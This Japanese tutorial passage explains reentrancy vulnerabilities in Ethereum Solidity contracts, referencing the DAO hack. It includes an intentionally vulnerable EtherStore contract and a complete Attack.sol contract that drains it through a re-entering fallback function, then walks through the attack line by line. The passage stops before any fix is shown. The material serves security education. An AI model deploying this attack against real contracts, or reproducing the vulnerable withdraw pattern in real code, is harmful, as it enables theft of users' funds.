この投稿は、Solidity開発者が過去に犯した過ちを比較的詳細かつ最新の情報に基づいて紹介する入門記事であり、将来の開発者が歴史を繰り返さないようにすることを目的としています。
Ethereumスマートコントラクトの特徴の1つは、他の外部コントラクトのコードを呼び出して利用できることです。コントラクトは通常、etherも扱うため、さまざまな外部ユーザーアドレスにetherを送信することがよくあります。外部コントラクトを呼び出したり、アドレスにetherを送信したりする操作では、コントラクトが外部呼び出しを行う必要があります。これらの外部呼び出しは攻撃者に乗っ取られる可能性があり、攻撃者はコントラクトにさらなるコード(フォールバック関数を介するなど)を実行させます。これには、コントラクト自身への呼び戻しも含まれます。このようにして、コード実行はコントラクトに"再入"します。この種の攻撃は、悪名高いDAOハックで使用されました。
再入攻撃の詳細については、Reentrancy Attack On Smart Contracts と Consensus - Ethereum Smart Contract Best Practices を参照してください。
この攻撃は、コントラクトが未知のアドレスにetherを送信したときに発生する可能性があります。攻撃者は、フォールバック関数 に悪意のあるコードを含むコントラクトを外部アドレスに注意深く構築できます。したがって、コントラクトがこのアドレスにetherを送信すると、悪意のあるコードが呼び出されます。通常、悪意のあるコードは脆弱なコントラクト上の関数を実行し、開発者が想定していない操作を行います。"再入"という名前は、外部の悪意のあるコントラクトが脆弱なコントラクト上の関数を呼び戻し、脆弱なコントラクト上の任意の場所でコード実行に"再入"するという事実に由来します。
これを明確にするために、預金者が週に1 etherしか引き出せないEthereumの金庫として機能する、シンプルな脆弱なコントラクトを考えてみましょう。
EtherStore.sol:```solidity contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
このコントラクトには2つの公開関数があります。`depositFunds()` と `withdrawFunds()` です。`depositFunds()` 関数は単純に送信者の残高を増加させます。`withdrawFunds()` 関数は、送信者が引き出すweiの金額を指定できるようにします。この関数は、要求された引き出し金額が1 ether未満であり、かつ過去1週間以内に引き出しが行われていない場合にのみ成功します。本当にそうでしょうか?...
脆弱性は、ユーザーに要求された金額のetherを送信する \[17\] 行目にあります。次のようなコントラクトを作成する悪意のある攻撃者を考えてみてください。
Attack.sol:```solidity
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
この悪意のあるコントラクトが、私たちの EtherStore コントラクトをどのように悪用できるか見てみましょう。攻撃者は、EtherStore コントラクトのアドレスをコンストラクタのパラメータとして、上記のコントラクト (ここではアドレス 0x0...123 とします) を作成します。これにより、パブリック変数 etherStore が初期化され、攻撃したいコントラクトを指すようになります。
次に攻撃者は、1 以上の任意の量の ether を指定して pwnEtherStore() 関数を呼び出します。この例では 1 ether とします。この例では、他の多数のユーザーがこのコントラクトに ether を預けているため、現在の残高は 10 ether であると仮定します。その場合、以下のような流れになります:
Attack.sol - 行 [15] - EtherStore コントラクトの depositFunds() 関数が、msg.value を 1 ether (および大量の gas) として呼び出されます。送信者 (msg.sender) は、私たちの悪意のあるコントラクト (0x0...123) になります。したがって、balances[0x0..123] = 1 ether となります。
Attack.sol - 行 [17] - 次に、悪意のあるコントラクトは EtherStore コントラクトの withdrawFunds() 関数をパラメータ 1 ether で呼び出します。これまでの引き出しがないため、(EtherStore コントラクトの行 [12]-[16] の) すべての要件を満たします。
EtherStore.sol - 行 [17] - コントラクトは 1 ether を悪意のあるコントラクトに送り返します。
Attack.sol - 行 [25] - 悪意のあるコントラクトに送られた ether により、フォールバック関数が実行されます。
Attack.sol - 行 [26] - EtherStore コントラクトの残高合計は 10 ether でしたが、現在は 9 ether なので、この if 文は成立します。
Attack.sol - 行 [27] - 次にフォールバック関数は EtherStore の withdrawFunds() 関数を再度呼び出し、EtherStore コントラクトに "再入" します。
EtherStore.sol - 行 [11] - 2 回目の withdrawFunds() 呼び出しでは、行 [18] がまだ実行されていないため、私たちの残高はまだ 1 ether です。したがって、まだ balances[0x0..123] = 1 ether のままです。lastWithdrawTime 変数についても同様です。ここでも、すべての要件を満たします。
EtherStore.sol - 行 [17] - さらに 1 ether を引き出します。
手順 4〜8 の繰り返し - Attack.sol の行 [26] に従い、EtherStore.balance >= 1 である限り、手順 4〜8 が繰り返されます。